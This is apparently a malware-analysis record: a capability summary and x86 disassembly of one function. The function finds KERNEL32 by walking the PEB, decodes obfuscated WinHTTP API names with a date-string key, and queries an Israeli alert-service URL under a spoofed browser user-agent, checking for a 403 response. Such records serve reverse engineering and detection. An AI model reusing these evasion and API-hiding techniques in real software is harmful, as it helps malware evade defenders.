Function at 0x401310
Capabilities:
Access peb ldr_data
Check http status code
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00417820
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 4
push ebx
mov eax, dword [eax + 0xc]
xor ebx, ebx
add eax, 0x14
push esi
push edi
xor edi, edi
mov dword [ebp - 8], eax
mov esi, dword [eax]
cmp esi, eax
je 0x40138c
nop word [eax + eax]
mov ecx, dword [esi + 0x28]
mov eax, str.KERNEL32.DLL
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401378
test dl, dl
je 0x401374
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401378
add ecx, 2
add eax, 2
test dl, dl
jne 0x401358
xor eax, eax
jmp 0x40137d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401591
mov esi, dword [esi]
cmp esi, dword [ebp - 8]
jne 0x401350
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.Hw4VET4NAwtNUjYi
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
push str.Winhttp.dll
mov dword [0xd59524], eax
call eax
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.BAgaPQYQETZcRSE
mov esi, eax
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd59520], eax
mov ecx, str.BAgaPQYQETpDTiEGFxs
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd5952c], eax
mov ecx, str.BAgaPQYQETZcRSExER4XAAFU
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd5951c], eax
mov ecx, str.BAgaPQYQESpJTisxER4XAAFU
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd5950c], eax
mov ecx, str.BAgaPQYQEStJQyoKAgowAAFQX1lfRQ
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd59508], eax
mov ecx, str.BAgaPQYQEShZRT0aPAoDARdSQw
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd59518], eax
mov ecx, str.BAgaPQYQEStJQSsnFRsD
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd593cc], eax
mov ecx, str.BAgaPQYQETpATzwGPA4MAR5F
call fcn.00401160
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_109.0.0.0
call dword [0xd59520]
push 0
push 0x1bb
push str.www.oref.org.il
push eax
call dword [0xd5952c]
push 0x800000
push 0
push 0
push 0
push str._alerts_RemainderConfig_eng.json
push 0x41dd0c
push eax
call dword [0xd5951c]
push 0
push 0
push 0
push 0
push 0
mov esi, eax
push 0
push esi
mov dword [ebp - 8], esi
call dword [0xd5950c]
push 0
push esi
call dword [0xd59508]
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20000013
push esi
call dword [0xd59518]
cmp dword [ebp - 0xc], 0x193
je 0x4015a2
lea eax, [ebp - 4]
push eax
push 0xfff
lea eax, [ebp - 0x1010]
push eax
push esi
call dword [0xd593cc]
test eax, eax
je 0x401582
mov ecx, dword [ebp - 4]
lea eax, [ecx + edi]
cmp eax, 7
jbe 0x401546
mov ecx, 7
sub ecx, edi
mov dword [ebp - 4], ecx
lea eax, [ecx + 1]
add eax, edi
push eax
push ebx
call fcn.00405736
mov esi, eax
add esp, 8
test esi, esi
je 0x401599
push dword [ebp - 4]
lea eax, [ebp - 0x1010]
mov ebx, esi
push eax
lea eax, [esi + edi]
push eax
call fcn.00403e20
add edi, dword [ebp - 4]
add esp, 0xc
mov byte [esi + edi], 0
cmp edi, 7
jae 0x401588
mov esi, dword [ebp - 8]
cmp dword [ebp - 4], 0
ja 0x401516
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esi + 0x10]
jmp 0x40138e
push ebx
call fcn.0040821e
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret